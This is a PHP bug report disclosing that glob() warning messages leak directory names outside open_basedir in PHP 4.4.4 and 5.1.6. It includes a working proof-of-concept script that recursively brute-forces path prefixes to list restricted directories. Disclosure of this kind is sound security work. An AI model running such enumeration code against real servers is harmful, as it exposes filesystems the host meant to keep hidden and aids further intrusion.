Description:
------------
When open_basedir is enabled, glob() function don`t show files in unallowed directories, however in warning message present file or directory name that access is denied. 
If you recursive parse a warning messages for extract pathes, you a get listing of unallowed directories (see POC code). 

I`m, tested this bug on PHP 5.1.6 and 4.4.4, everywhere the result is equal. 

Reproduce code:
---------------
<?php
	// -----------------------------------------------------
	// POC by Kirsanov Anton ( anton.kirsanov[at]gmail.com )
	// 
	// Description:
	// Bug in warning message for glob() function allow show listing unallowed directories when open_basedir is enabled.
        //
	// Risk:
	// Possible directory listing, when open_basedir is enabled.
	// Testing on PHP 4.4.4, 5.1.6.

	
	error_reporting(E_ALL); 
	ini_set("display_errors", 0); 
	ini_set("track_errors", 1); 

	if(!ini_get('open_basedir'))	
		die('open_basedir not present');

	$chars = "._-1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
	$z = array();

	get_c("/", $z);

        // show contents of root directory
	print_r($z);

	function get_c($path, &$o)
	{
		global $chars;
		for($i=0; $i < strlen($chars); $i++)
		{
			$p = $path . $chars[$i];
			$r = glob($p . "*");
			if(!$r && $php_errormsg)
			{
				if((	preg_match("/open\_basedir restriction in effect\. File\((.*)\) is/iU", $php_errormsg, $t) ||
					preg_match("/is not allowed to access (.*) owned/iU", $php_errormsg, $t)) && !$o[$t[1]])
				{
					$o[$t[1]] = $t[2];					get_c($p, $o);
				}
			}
		}
	}
?>

Expected result:
----------------
<?php
glob("/*");
?>

Warning: glob(): open_basedir restriction in effect.
is not allowed to access (/) owned ...


Actual result:
--------------
<?php
glob("/*");
?>

----
Warning: glob(): open_basedir restriction in effect.
is not allowed to access (/bin/) owned ...
----

Warning message has been disclose path - /bin/